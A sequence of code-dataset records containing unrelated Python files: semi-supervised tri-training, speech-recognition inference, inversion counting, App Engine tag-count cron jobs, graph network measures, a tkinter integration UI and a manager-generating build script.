clfs[i-2].predict(U_train)\n agreement_idx = np.nonzero(np.where(pred1 == pred2, 1, 0))\n l[i] = agreement_idx[0].shape[0]\n \n if l_prime[i] == 0:\n l_prime[i] = math.floor(e[i]/(e_prime[i] - e[i]) + 1)\n \n if l_prime[i] < l[i]:\n if e[i]*l[i] < e_prime[i]*l_prime[i]:\n update[i] = True\n elif l_prime[i] > e[i]/(e_prime[i] - e[i]):\n agreement_idx = (resample(agreement_idx[0], replace=False, n_samples=math.ceil(e_prime[i]*l_prime[i]/e[i] - 1)))\n update[i] = True\n \n if update[i]:\n U_augmentation, U_labels = drop(U_train[agreement_idx], pred1[agreement_idx], drop_rate)\n \n X_augmented[i] = np.concatenate((X_train, U_augmentation))\n Y_augmented[i] = np.concatenate((Y_train, U_labels))\n \n \n for i in range(num_of_clfs):\n if update[i]:\n clfs[i] = clfs[i].fit(X_augmented[i], Y_augmented[i])\n e_prime[i] = e[i]\n l_prime[i] = l[i]\n \n stopping_criteria = all(not up for up in update)\n \n test_preds = []\n for i in range(num_of_clfs):\n test_preds.append(clfs[i].predict(X_test))\n \n final_preds = majority_vote(test_preds)\n num_of_correct = np.nonzero(np.where(final_preds == Y_test, 1, 0))[0].shape[0]\n acc = num_of_correct / Y_test.shape[0]\n \n return acc\n\n\ndef tri_training_with_disagreement(clf, X_train, U_train, Y_train, X_test, Y_test, drop_rate=0):\n num_of_clfs = 3\n clfs = []\n e_prime = []\n l_prime = []\n X_sets = []\n Y_sets = []\n \n # Perform bootstrapping\n for i in range(num_of_clfs):\n sampled_X, sampled_Y = resample(X_train, Y_train)\n X_sets.append(sampled_X)\n Y_sets.append(sampled_Y)\n clf_clone = clone(clf)\n clfs.append(clf_clone.fit(sampled_X, sampled_Y))\n e_prime.append(1 - 1/np.unique(Y_train).shape[0])\n l_prime.append(0)\n\n stopping_criteria = False\n while not stopping_criteria:\n\n update = [False, False, False]\n X_augmented = [False, False, False]\n Y_augmented = [False, False, False]\n e = [False, False, False]\n l = [False, False, False]\n \n for i in range(num_of_clfs):\n e[i] = measure_error(clfs[i-2], clfs[i-1], X_train, Y_train)\n \n if e[i] < e_prime[i]:\n pred0 = clfs[i].predict(U_train)\n pred1 = clfs[i-1].predict(U_train)\n pred2 = clfs[i-2].predict(U_train)\n agreement_idx = np.nonzero(np.where(pred1 == pred2, 1, 0))\n disagreement_idx = np.nonzero(np.where(pred1 != pred0, 1, 0))\n augmentation_idx = (np.intersect1d(agreement_idx, disagreement_idx), )\n \n l[i] = augmentation_idx[0].shape[0]\n \n if l_prime[i] == 0:\n l_prime[i] = math.floor(e[i]/(e_prime[i] - e[i]) + 1)\n \n if l_prime[i] < l[i]:\n if e[i]*l[i] < e_prime[i]*l_prime[i]:\n update[i] = True\n elif l_prime[i] > e[i]/(e_prime[i] - e[i]):\n augmentation_idx = (resample(augmentation_idx[0], replace=False, n_samples=math.ceil(e_prime[i]*l_prime[i]/e[i] - 1)))\n update[i] = True\n \n if update[i]:\n U_augmentation, U_labels = drop(U_train[augmentation_idx], pred1[augmentation_idx], drop_rate)\n \n X_augmented[i] = np.concatenate((X_train, U_augmentation))\n Y_augmented[i] = np.concatenate((Y_train, U_labels))\n \n \n for i in range(num_of_clfs):\n if update[i]:\n clfs[i] = clfs[i].fit(X_augmented[i], Y_augmented[i])\n e_prime[i] = e[i]\n l_prime[i] = l[i]\n \n stopping_criteria = all(not up for up in update)\n \n test_preds = []\n for i in range(num_of_clfs):\n test_preds.append(clfs[i].predict(X_test))\n \n final_preds = majority_vote(test_preds)\n num_of_correct = np.nonzero(np.where(final_preds == Y_test, 1, 0))[0].shape[0]\n acc = num_of_correct / Y_test.shape[0]\n \n return acc\n \n \ndef measure_error(clf1, clf2, X, Y):\n pred1 = clf1.predict(X)\n pred2 = clf2.predict(X)\n agreement_idx = (np.nonzero(np.where(pred1 == pred2, 1, 0)),)\n \n preds = pred1[agreement_idx]\n truth = Y[agreement_idx]\n \n num_of_incorrect = np.nonzero(np.where(preds != truth, 1, 0))[0].shape[0]\n err = num_of_incorrect / truth.shape[0]\n \n return err\n \n \ndef majority_vote(predictions):\n num_of_predictions = predictions[0].shape[0]\n \n res = np.empty_like(predictions[0])\n for i in range(num_of_predictions):\n \n num_of_votes = {}\n for j in range(len(predictions)):\n vote = predictions[j][i]\n \n if vote in num_of_votes:\n num_of_votes[vote] += 1\n else:\n num_of_votes[vote] = 1\n \n res[i] = max(num_of_votes.items(), key=operator.itemgetter(1))[0]\n \n return res\n \n \ndef drop(X, Y, drop_rate):\n keep_idx = np.nonzero(np.where(np.random.random_sample(Y.shape) > drop_rate, 1, 0))\n \n return X[keep_idx], Y[keep_idx]\n\n\ndef prepare_data(dataset, i):\n \"\"\"Reads data from cross-validation file i and standardizes inputs.\"\"\"\n tra_path = PATH + dataset + '/' + dataset + '-10-' + str(i) + 'tra.dat'\n tst_path = PATH + dataset + '/' + dataset + '-10-' + str(i) + 'tst.dat'\n\n with open(tra_path, 'r') as f:\n tra_lines = f.read().splitlines()[1:] # Skip @relation\n\n attributes = read_attributes(tra_lines)\n X_tra, U_tra, Y_tra = read_data(tra_lines)\n\n with open(tst_path, 'r') as f:\n tst_lines = f.read().splitlines()[1:] # Skip @relation\n\n X_tst, _, Y_tst = read_data(tst_lines)\n \n X_tra, U_tra, X_tst = standardize_inputs(X_tra, U_tra, X_tst, attributes)\n Y_tra, Y_tst = standardize_outputs(Y_tra, Y_tst)\n \n return X_tra, U_tra, Y_tra , X_tst, Y_tst\n\n\ndef standardize_inputs(X_tra, U_tra, X_tst, attributes):\n cols = list(map(lambda x: x[0], attributes))\n X_tra_df = pd.DataFrame(X_tra, columns = cols)\n U_tra_df = pd.DataFrame(U_tra, columns = cols)\n X_tst_df = pd.DataFrame(X_tst, columns = cols)\n \n numerical_attributes, categorical_attributes = [], []\n for attr_name, attr_type in attributes:\n if attr_type == 'num':\n numerical_attributes.append(attr_name)\n X_tra_df[attr_name] = X_tra_df[attr_name].astype(float)\n U_tra_df[attr_name] = U_tra_df[attr_name].astype(float)\n X_tst_df[attr_name] = X_tst_df[attr_name].astype(float)\n elif attr_type == 'cat':\n categorical_attributes.append(attr_name)\n else:\n raise TypeError(\"Attribute type for attribute {} must be either 'cat' or 'num'. Found: '{}'\".format(attr, attr_type))\n\n numerical_transformer = StandardScaler()\n categorical_transformer = OneHotEncoder( handle_unknown='ignore')\n \n standardizer = ColumnTransformer(sparse_threshold=0,\n transformers=[\n ('num', numerical_transformer, numerical_attributes),\n ('cat', categorical_transformer, categorical_attributes)])\n \n # Fit on both labeled and unlabeled training examples\n standardizer.fit(pd.concat((X_tra_df, U_tra_df)))\n \n X_tra_std = standardizer.transform(X_tra_df)\n U_tra_std = standardizer.transform(U_tra_df)\n X_tst_std = standardizer.transform(X_tst_df)\n \n return X_tra_std, U_tra_std, X_tst_std\n\n\ndef standardize_outputs(Y_tra, Y_tst):\n standardizer = LabelEncoder()\n \n # Fit on both train and test data to avoid having unknown categories in test\n standardizer.fit(Y_tra+Y_tst)\n Y_tra_std = standardizer.transform(Y_tra)\n Y_tst_std = standardizer.transform(Y_tst)\n \n return Y_tra_std, Y_tst_std\n\n\ndef read_data(lines):\n X, U, Y = [], [], []\n \n for line in lines:\n if line[0] == '@':\n continue\n\n values = line.split(', ')\n x = values[:-1]\n y = values[-1]\n\n if y == 'unlabeled':\n U.append(x)\n else:\n X.append(x)\n Y.append(y)\n \n return X, U, Y\n\n\ndef read_attributes(lines):\n attributes = []\n \n for line in lines:\n tag, value = line.split(' ', 1)\n \n if tag == '@attribute':\n attr_name, attr_type = value.split(' ', 1)\n if '{' == attr_type[0] and attr_type[-1] == '}':\n attributes.append((attr_name, 'cat'))\n else:\n attributes.append((attr_name, 'num'))\n \n else:\n return attributes[:-1] #Skip output\n \n \nif __name__ == '__main__':\n main()","sub_path":"Emil/EmilCode.py","file_name":"EmilCode.py","file_ext":"py","file_size_in_byte":17299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"252970989","text":"#!/usr/bin/env python\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nfrom time import time\nimport logging\nimport tensorflow as tf\nfrom random import randrange\n\nfrom tfModels.lstmCTCModel import LSTM_CTC_Model as Model\n# from src.model import LSTM_Model as Model\n\nfrom src.datasets import ASRdataSet, ASRdataLoader\nfrom src.arguments import args\n\nfrom utils.ctc_numpy import ctc_decode, batch_ctc_decode\nfrom utils.textTools import array_idx2char\nimport editdistance as ed\n\n\ndef dev(step):\n batch_time = time()\n processed = 0\n dataloader_dev = ASRdataLoader(dataset_dev, args, total_loops=1)\n list_cer = []\n list_loss = []\n\n for batch in dataloader_dev:\n dict_feed = {model_infer.list_pl[0]: batch[0],\n model_infer.list_pl[1]: batch[1],\n model_infer.list_pl[2]: batch[2][0],\n model_infer.list_pl[3]: batch[2][1]}\n\n loss, shape_batch, distribution = sess.run(model_infer.list_run, feed_dict=dict_feed)\n result = batch_ctc_decode(distribution, beam_size=1, blank=0)\n result_txt = array_idx2char(result, args.idx2token)\n ref_txt = array_idx2char(batch[1], args.idx2token)\n cer_res = cer(result_txt, ref_txt)\n list_cer.append(cer_res)\n list_loss.append(loss)\n\n used_time = time()-batch_time\n batch_time = time()\n processed += shape_batch[0]\n progress = processed/len(dataset_dev)*100.0\n logging.info('cer: {:.2f}%\\tloss: {:.4f}, batch: {},\\t time:{:.2f}s {:.3f}%'.format(\n cer_res*100, loss, shape_batch, used_time, progress))\n logging.info('=====dev info==== \\ncer of the dev data set cer: {:.2f}%, loss: {:.2f}'.format(\n np.mean(list_cer)*100.0, np.mean(list_loss)))\n\n\ndef cer(result_txt, ref_txt):\n list_result = []\n for hyp, ref in zip(result_txt, ref_txt):\n list_result.append(ed.eval(hyp, ref)*1.0/len(ref))\n\n return np.mean(list_result)\n\n\ndef decode_test(step):\n sample = dataset_dev[0]\n\n dict_feed = {model_infer.list_pl[0]: np.expand_dims(sample['feature'], axis=0),\n model_infer.list_pl[1]: np.expand_dims(sample['label'], axis=0),\n model_infer.list_pl[2]: np.array([len(sample['feature'])]),\n model_infer.list_pl[3]: np.array([len(sample['label'])])}\n loss, shape_sample, distribution = sess.run(model_infer.list_run, feed_dict=dict_feed)\n fig.clf()\n ax = fig.add_subplot(111)\n ax.plot(distribution[0])\n fig.savefig(str(args.dir_log / str(step)))\n result, score = ctc_decode(distribution[0], beam_size=1, blank=0)\n result_txt = array_idx2char(result, args.idx2token)\n logging.info('loss: {:.4f}, length: {}, result: {}, score: {:.6f}\\n{}'.format(\n loss, shape_sample[1], result, score, result_txt))\n\n\ndataset_dev = ASRdataSet(args.dirs.dev_data, args)\n\nglobal_step = tf.train.get_or_create_global_step()\nmodel_infer = Model(global_step, is_train=False, args=args)\n\nsaver = tf.train.Saver()\n\nfig = plt.figure()\n\nstart_time = datetime.now()\n\nconfig = tf.ConfigProto()\nconfig.allow_soft_placement = True\nconfig.gpu_options.allow_growth = True\nconfig.log_device_placement = False\nwith tf.train.MonitoredTrainingSession(config=config) as sess:\n assert args.dirs.checkpoint_init\n checkpoint = tf.train.latest_checkpoint(args.dirs.checkpoint_init)\n saver.restore(sess, checkpoint)\n\n dev(0)\n decode_test(0)\n\nlogging.info('training duration: {:.2f}h'.format((datetime.now()-start_time).total_seconds()/3600))\n","sub_path":"infer.py","file_name":"infer.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"342577393","text":"# Uses python3\nimport sys\n#import numpy as np\n#import random\n#import datetime\n\n#def get_naive_inversions(a):\n# # Self made not provided\n# number_of_inversions = 0\n# new_arr = []\n# while len(a) > 0:\n# idx = np.argmin(a)\n# number_of_inversions += idx\n# new_arr.append(a[idx])\n# del a[idx]\n# return number_of_inversions\n \n\n# Recursively split the sequence in two halfs and sort (arrays of 1 or 2)\n# Merge the resulting arrays into one larger arrayby comparing the first element of each array\n# Keep track of the number of changes in number_of_inversions\n\ndef get_number_of_inversions(a, left, right):\n number_of_inversions = 0\n if right - left <= 1:\n #print('right - left <= 1. left:{}, right:{}, a[left:right]:{}'.format(left, right, a[left:right]))\n #print('number of inv:{}'.format(number_of_inversions))\n return number_of_inversions\n ave = (left + right) // 2\n #print('run first recursive')\n number_of_inversions += get_number_of_inversions(a, left, ave)\n #print('run second recursive')\n number_of_inversions += get_number_of_inversions(a, ave, right)\n \n new_arr = []\n left_arr = a[left:ave]\n right_arr = a[ave:right]\n #print('left_arr:{}. right_arr:{}'.format(left_arr, right_arr))\n \n # mergesort left:right\n while (len(left_arr) > 0) | (len(right_arr) > 0):\n if len(left_arr) == 0:\n for i in range(len(right_arr)):\n new_arr.append(right_arr[i])\n break\n elif len(right_arr) == 0:\n for i in range(len(left_arr)):\n new_arr.append(left_arr[i])\n break\n elif left_arr[0] <= right_arr[0]:\n new_arr.append(left_arr[0])\n left_arr = left_arr[1:]\n else:\n new_arr.append(right_arr[0])\n number_of_inversions += len(left_arr)\n right_arr = right_arr[1:]\n a[left:right] = new_arr\n \n #print('first complete. return num_inv:{} and new_arr:{}'.format(number_of_inversions, new_arr))\n return number_of_inversions\n\n\n\n# Provided test. Answer 2 \n#a = [2, 3, 9, 2, 9]\n#left = 0\n#right = len(a)\n#\n#get_number_of_inversions(a, left, right)\n \n# Provided test. Answer 15\n#a = [9, 8, 7, 3, 2, 1]\n#left = 0\n#right = len(a)\n#\n#get_number_of_inversions(a, left, right)\n \n\n## Random tests\n#test_completed = 0\n#check = True\n#while check == True:\n# a = list(np.array(random.sample(range(1, 100), random.randint(1, 30))))\n# b = a.copy()\n# c = a.copy()\n# if get_naive_inversions(a) == get_number_of_inversions(b, 0, len(b)):\n# test_completed += 1\n# else:\n# check = False\n# print(c)\n# if (test_completed > 0) & (test_completed % 100 == 0):\n# print(str(test_completed) + ' tests completed')\n# if test_completed == 1000:\n# break\n# \n## Speed test\n#tests_to_run = 1000\n#testlist = []\n#testlist2 = []\n#for i in range(tests_to_run):\n# test = list(np.array(random.sample(range(1, 1000), random.randint(1, 300))))\n# testlist.append(test)\n# testlist2.append(test.copy())\n#\n#start = datetime.datetime.now()\n#for i in testlist:\n# _ = get_naive_inversions(i)\n#print('Finished within {}'.format(datetime.datetime.now() - start))\n#\n#start = datetime.datetime.now()\n#for i in testlist2:\n# _ = get_number_of_inversions(i, 0, len(i))\n#print('Finished within {}'.format(datetime.datetime.now() - start))\n\n \n\n\n \n#new_arr = []\n#left_arr = [6, 7, 8]\n#right_arr = [1, 2, 3]\n#left=0\n#right=6\n#\n#new_arr = []\n#left_arr = [1, 3, 5]\n#right_arr = [2, 4, 6]\n#left=0\n#right=6\n#\n#\n#number_of_inversions = 0\n#while (len(left_arr) > 0) | (len(right_arr) > 0):\n# if len(left_arr) == 0:\n# for i in range(len(right_arr)):\n# new_arr.append(right_arr[i])\n# break\n# elif len(right_arr) == 0:\n# for i in range(len(left_arr)):\n# new_arr.append(left_arr[i])\n# break\n# elif left_arr[0] <= right_arr[0]:\n# new_arr.append(left_arr[0])\n# left_arr = left_arr[1:]\n# else:\n# new_arr.append(right_arr[0])\n# number_of_inversions += len(left_arr)\n# right_arr = right_arr[1:]\n#a[left:right] = new_arr\n\n\n\n\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n n, *a = list(map(int, input.split()))\n b = n * [0]\n print(get_number_of_inversions(a, 0, len(a)))\n","sub_path":"programming_assigments/1_toolbox_algorithms/week4/4_close_to_sorted.py","file_name":"4_close_to_sorted.py","file_ext":"py","file_size_in_byte":4356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"196360785","text":"import webapp2\nfrom google.appengine.ext import db\nfrom google.appengine.ext.webapp import template\nfrom google.appengine.api import users, memcache\nfrom random import choice\nimport models.model\nimport os\nimport cgi\nfrom google.appengine.api import mail\nimport operator\n\nclass UpdateTagCounts(webapp2.RequestHandler):\n\tdef get(self):\n\t\t#nothing\n\t\ttags = models.model.Tag.all()\n\t\tquestions = models.model.Question.all()\n\t\tt = []\n\t\tqcount = 0\n\t\tfor q in questions:\n\t\t\tqcount = qcount + 1\n\t\t\tt = t + q.tagstr.split(',')\n\t\t#do the calculation\n\t\ttagdict = dict(zip(t, map(t.count, t)))\n\t\tfor tag in tags:\n\t\t\tif tagdict.has_key(str(tag.name)):\n\t\t\t\ttag.tagcount = tagdict[str(tag.name)]\n\t\t\t\ttag.put()\n\t\t#email the result to me\n\t\tmsg = 'n# questions: ' + str(qcount) + '\\n'\n\t\tsortedtag = sorted(tagdict.iteritems(), key=operator.itemgetter(1))\n\t\tsortedtag.reverse()\n\t\tfor t in sortedtag:\n\t\t\tmsg = msg + '\\n' + t[0] + ': ' + str(t[1])\n\t\tgmail(msg)\n\t\tself.response.out.write('ok')\n\n\nclass FixQuestionTags(webapp2.RequestHandler):\n\tdef get(self):\n\t\t#get all tags\n\t\talltags = models.model.Tag.all()\n\t\ttagnames = [x.name for x in alltags]\n\t\t#there might be duplicates, if so handle them\n\t\tdistinctags = list(dict(zip(tagnames, map(tagnames.count, tagnames))))\n\t\tfor t in alltags:\n\t\t\tt.delete()\n\t\tfor x in distinctags:\n\t\t\tt = models.model.Tag(name=x)\n\t\t\tt.put()\n\t\t#now alltags should contains the newly created, distinct tags\n\t\talltags = models.model.Tag.all()\n\n\t\t#get all questions\n\t\tquestions = models.model.Question.all()\n\t\tfor q in questions:\n\t\t\t#strip space in q.tagstr\n\t\t\ttags = [x.strip() for x in q.tagstr.split(',')]\n\t\t\tq.tagstr = ','.join(tags)\n\n\t\t\tq.tags = []\n\t\t\tfor x in tags:\n\t\t\t\tt = GetTag(x, alltags)\n\t\t\t\tif t is not None:\n\t\t\t\t\tq.tags.append(t.key())\n\t\t\tq.put()\n\t\tself.response.out.write('ok')\n\n\ndef gmail(msg):\n\tmail.send_mail(sender=\"wliao008@gmail.com\",\n\t\tto=\"Wei Liao \",\n\t\tsubject=\"Cron job finished\",\n\t\tbody=msg)\n\ndef GetTag(tagname, alltags):\t\t\n\tfor t in alltags:\n\t\tif t.name == tagname:\n\t\t\treturn t\n\t#qry = db.GqlQuery(\"select * from Tag where name = :1\", tagname)\n\t#tg = qry.get()\n\treturn None\n","sub_path":"controllers/crons.py","file_name":"crons.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"649837133","text":"# CSE 392 HW 2 Tasks\n# Compute the following values: neighborhood overlap, degree distribution, clustering coefficient\n\nfrom math import factorial\nimport csv\nimport matplotlib.pyplot as plt\n\n# Compute the overlap of neighborhood for each edge uv\n# For each edge, compute the neighborhood overlap.abs\n# g = graph structure\ndef neighborhood_overlap(g):\n # Tuples in format of (vertex v, vertex u, neighborhood overlap)\n overlap = []\n # Avoid counting the same edge twice. Set of Tuples (u,v).\n visited = set()\n for i in range(len(g)):\n for j in g[i]:\n u = i\n v = j\n # Check if edge visited\n if (u, v) in visited or (v, u) in visited:\n pass\n else:\n # Mark as visited\n visited.add((u, v))\n # Get set of neighbors of u\n u_neighbors = set()\n for x in g[u]:\n u_neighbors.add(x)\n # Get set of neighbors of v\n v_neighbors = set()\n for x in g[v]:\n v_neighbors.add(x)\n # Get the intersection of N(u) and N(v)\n intersection = u_neighbors.intersection(v_neighbors)\n # Get the union of N(u) and N(v)\n union = u_neighbors.union(v_neighbors)\n # Get the overlap |N(u) intersect N(v)| / |N(u) union N(v)|\n overlap_uv = len(intersection) / len(union)\n # Append to output list\n overlap.append((u, v, overlap_uv))\n return overlap\n\ndef neighborhood_overlap_csv(overlap):\n with open(\"neighborhood_overlaps.csv\", \"w\") as out:\n csv_out = csv.writer(out)\n csv_out.writerow(['u', 'v', 'Overlap'])\n for row in overlap:\n csv_out.writerow(row)\n\n# Compute the degree distribution of the graph, as the percentage of nodes with degree k for each value of k.\ndef degree_distribution(g):\n # Get node with highest degree:\n max_k = max(len(x) for x in g)\n distribution = [0 for x in range(max_k+1)]\n\n # Count nodes with each degree k\n for x in g:\n distribution[len(x)] += 1\n\n # Get percentage of nodes with degree k for each value of k\n distribution = [x/len(g) for x in distribution]\n return distribution\n\n# Plot the degree distribution of the graph\ndef plot_degree_distribution(d):\n d = [x * 100 for x in d]\n plt.plot(range(len(d)), d, 'ro')\n plt.ylabel(\"Percentage\")\n plt.xlabel(\"Degree\")\n plt.show()\n\n\n# Compute the clustering coefficient of the graph\ndef clustering_coefficient(g):\n # Find number of triangles, which are cycles of length 3.abs\n # Keep track of counted triangles, where each element of the set is (x, y, z),\n # where x, y and z are in ascending order.\n triangles = set()\n\n # For each edge (i,j)\n for i in range(len(g)):\n for j in g[i]:\n # Check if (j,k) and (k,i) is an edge, where k is connected to j.\n for k in g[j]:\n if k in g[i]:\n triangle = [i, j, k]\n triangle.sort()\n triangles.add(tuple(triangle))\n\n num_triangles = len(triangles)\n\n # return number of triangles / n c 3\n return num_triangles / combination(len(g), 3)\n\ndef combination(n, k):\n return factorial(n) / (factorial(k) * factorial(n-k))\n\n\n","sub_path":"measures.py","file_name":"measures.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"390915171","text":"import tkinter as tk\nimport PIL\nfrom tkinter import *\nfrom tkinter import filedialog\nfrom PIL import ImageTk\nfrom PIL import Image\nimport numpy as np\nfrom scipy.interpolate import InterpolatedUnivariateSpline\nimport matplotlib.pyplot as plt\nfrom array import array\n\n## Stuff ##\nfile = ''\nstart = '<>'\nend = '<>'\narray = []\n\n## Window elements ##\nroot = Tk()\nroot.title(\"Okayeg\")\nroot.geometry('500x500')\niconimage = ImageTk.PhotoImage(Image.open('4.ico'))\n#root.tk.call('wm','iconphoto', root._w, iconimage)\nimg = ImageTk.PhotoImage(Image.open(\"4.png\")) \nroot.iconphoto(False, iconimage)\n\n\n\n## Functions ##\n\ndef calclick1():\n global array\n root.filename = tk.filedialog.askopenfilename(initialdir = \"/home/rooitier/Documents/honoursproj\",title = \"Select file\",filetypes = ((\"Text files\",\"*.txt\"),(\"all files\",\"*.*\")))\n lbl1f = tk.Label(root, text=root.filename).grid(row=1, column=6)\n txt_file = open(root.filename, 'r')\n \n # a = int(e1.get())\n # b = int(e2.get())\n with open(root.filename) as f:\n\n for line in f:\n array.append(line.strip())\n idx1 = array.index(start)\n idx2 = array.index(end)\n array = array[idx1+1:idx2]\n array = [int(x) for x in array]\n\ndef calclick2():\n global array\n a = int(e1.get())\n b = int(e2.get())\n n = len(array)\n x = list(range(n))\n y = array\n aspline = InterpolatedUnivariateSpline(x,y,k=2)\n area = aspline.integral(a,b)\n print(area) \n\n\ndef tarclick1():\n root.filename = tk.filedialog.askopenfilename(initialdir = \"/home/rooitier/Documents/honoursproj\",title = \"Select file\",filetypes = ((\"Text files\",\"*.txt\"),(\"all files\",\"*.*\")))\n lbl1f = tk.Label(root, text=root.filename).grid(row=5, column=6)\n\n\n\n\n\n\n\n\n## Labels ##\n\nlbl1 = tk.Label(text=\"Calibration\" ).grid(row=1, column=0)\nlbl1a = tk.Label(text=\"a = \").grid(row=1, column = 2)\nlbl1b = tk.Label(text=\"b = \").grid(row=1, column = 4)\n\n\nlbl2 = tk.Label(text=\"Target\").grid(row=5, column=0)\nlbl2a = tk.Label(text=\"a = \").grid(row=5, column = 2)\nlbl2b = tk.Label(text=\"b = \").grid(row=5, column = 4)\n\n\n## Buttons ##\n\nbtn1 = tk.Button(root, text=\"Open File\", command = calclick1)\nbtn1.grid(row=1, column=1)\nbtn12 = tk.Button(root, text=\"Open File\", command = tarclick1)\nbtn12.grid(row=5, column=1)\nbtn3 = tk.Button(root, text=\"print\", command = calclick2)\nbtn3.grid(row=6,column=1)\n\n## Entry Boxes ##\n\ne1 = tk.Entry(root, width = 5)\ne1.grid(row=1, column = 3)\ne2 = tk.Entry(root, width = 5)\ne2.grid(row=1, column = 5)\n\n\ne11 = tk.Entry(root, width = 5)\ne11.grid(row=5, column = 3)\ne22 = tk.Entry(root, width = 5)\ne22.grid(row=5, column = 5)\n\n\nroot.mainloop()\n","sub_path":"UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"145223656","text":"#!/usr/bin/env python\n\nimport sys\nif sys.version_info < (2,7):\n print('This script requires Python 2.7 or later.')\n sys.exit(1)\n\nimport os\nimport shutil\nimport importlib\nimport json\nimport argparse\nimport subprocess\n\nscript_dir = os.path.dirname(__file__)\n\ntry:\n basestring = basestring\nexcept NameError:\n basestring = str\n\ndef main():\n '''Runs everything.'''\n args = parse_arguments()\n \n dst_dir = os.path.join(args.d, 'generated', 'managers')\n try:\n os.makedirs(dst_dir)\n except:\n pass\n \n print('Generating managers in {}'.format(dst_dir))\n \n for object_type in [\n 'Strain', 'Gene',\n 'Population', 'Host', 'Infection', 'ImmuneHistory', 'LocusImmunity', 'AlleleRef'\n ]:\n generate_manager(object_type, dst_dir)\n print('\\n')\n\ndef parse_arguments():\n '''Parses command-line arguments.'''\n \n parser = argparse.ArgumentParser(\n description = '''Builds the model in the specified directory using provided parameters.\n \n Copies source code into the `src' subdirectory, with \n ''',\n formatter_class = argparse.ArgumentDefaultsHelpFormatter\n )\n parser.add_argument(\n '-d', metavar = '',\n default = os.path.join(script_dir, 'build'),\n help = 'Destination directory for built model.'\n )\n parser.add_argument('-c', metavar = '', default = 'c++', help = 'C++ compiler.')\n parser.add_argument('-f', metavar = '', default = '-O2', help = 'Compiler flags.')\n \n return parser.parse_args()\n\ndef load_parameters(params_filename):\n '''Loads parameters from Python module or JSON file.'''\n \n base, ext = os.path.splitext(params_filename)\n if ext == '.py':\n return load_parameters_python(params_filename)\n elif ext == '.json':\n return load_parameters_json(params_filename)\n \n print('{}: unknown file type'.format(params_filename))\n sys.exit(1)\n\ndef load_parameters_python(params_filename):\n '''Loads parameters from Python module using importlib.'''\n \n old_sys_path = sys.path\n sys.path.insert(0, os.path.dirname(params_filename))\n module_name = os.path.splitext(os.path.basename(params_filename))[0]\n params = importlib.import_module(module_name)\n sys.path = old_sys_path\n \n return {name: getattr(params, name) for name in params.__dict__.keys() if not name.startswith('_')}\n \ndef load_parameters_json(params_filename):\n '''Loads parameters from JSON dictionary.'''\n with open(params_filename) as f:\n return json.load(f)\n\n\n### DATABASE MANAGER GENERATION FUNCTIONS ###\n\ndef parse_type(object_type, input_filename):\n columns = []\n arrays = []\n maps = []\n reflists_IndexedSet = []\n reflists_array = []\n reflists_unordered_set = []\n \n with open(input_filename) as input_file:\n state = 'START'\n for line in input_file:\n tokens = line.strip().split('//')[0].split()\n if len(tokens) == 0:\n continue\n if state == 'START':\n if len(tokens) == 3 and tokens[0] == 'struct' and tokens[1] == object_type and tokens[2] == '{':\n state = 'SCANNING'\n if state == 'SCANNING':\n if tokens[0] == '};':\n state = 'END'\n elif len(tokens) == 2:\n if tokens[0] == 'uint64_t' or tokens[0] == 'int64_t' or tokens[0] == 'double' or tokens[0] == 'bool':\n if tokens[1].endswith(';'):\n columns.append(('FIELD', tokens[0], tokens[1][:-1]))\n elif tokens[0].startswith('std::unordered_map<') and tokens[0].endswith('>'):\n if tokens[1].endswith(';'):\n key_type, value_type = tokens[0][len('std::unordered_map<'):-1].split(',')\n maps.append((key_type, value_type, tokens[1][:-1]))\n elif tokens[0].startswith('IndexedSet') \\\n and tokens[0][len('IndexedSet')] == '<' and tokens[0][-1] == '>' \\\n and tokens[1].endswith(';'):\n map_object_type = tokens[0][len('IndexedSet')+1:-1]\n reflists_IndexedSet.append((map_object_type, tokens[1][:-1]))\n elif len(tokens) == 3:\n if tokens[0].startswith('std::array<') and tokens[0].endswith(',') and tokens[1].endswith('>'):\n if tokens[2].endswith(';'):\n field_type = tokens[0][len('std::array<'):-1]\n arrays.append((field_type, tokens[2][:-1]))\n elif tokens[1] == '*' and tokens[2].endswith(';'):\n columns.append(('REF', tokens[0], tokens[2][:-1]))\n elif tokens[0].startswith('std::unordered_set<') \\\n and tokens[1] == '*>' and tokens[2].endswith(';'):\n set_object_type = tokens[0][len('std::unordered_set<'):]\n reflists_unordered_set.append((set_object_type, tokens[2][:-1]))\n elif len(tokens) == 4:\n if tokens[0].startswith('std::array<') \\\n and tokens[1] == '*,' and tokens[2].endswith('>') and tokens[3].endswith(';'):\n vec_object_type = tokens[0][len('std::array<'):]\n reflists_array.append((vec_object_type, tokens[3][:-1]))\n \n return columns, arrays, maps, reflists_array, reflists_unordered_set, reflists_IndexedSet\n\ndef get_template(filename):\n with open(os.path.join(script_dir, 'src', 'manager_templates', filename)) as f:\n return f.read()\n\nmanager_header_format = get_template('Manager.hpp.template')\nmanager_implementation_format = get_template('Manager.cpp.template')\n\ncreate_array_block_format = get_template('create_array_block.cpp.template')\nload_array_block_format = get_template('load_array_block.cpp.template')\n\ncreate_map_block_format = get_template('create_map_block.cpp.template')\nload_map_block_format = get_template('load_map_block.cpp.template')\n\ncreate_reflist_block_array_format = get_template('create_reflist_block_array.cpp.template')\nload_reflist_block_array_format = get_template('load_reflist_block_array.cpp.template')\n\ncreate_reflist_block_unordered_set_format = get_template('create_reflist_block_unordered_set.cpp.template')\nload_reflist_block_unordered_set_format = get_template('load_reflist_block_unordered_set.cpp.template')\n\ncreate_reflist_block_IndexedSet_format = get_template('create_reflist_block_IndexedSet.cpp.template')\nload_reflist_block_IndexedSet_format = get_template('load_reflist_block_IndexedSet.cpp.template')\n\nresolve_references_signature_format = \\\n 'void 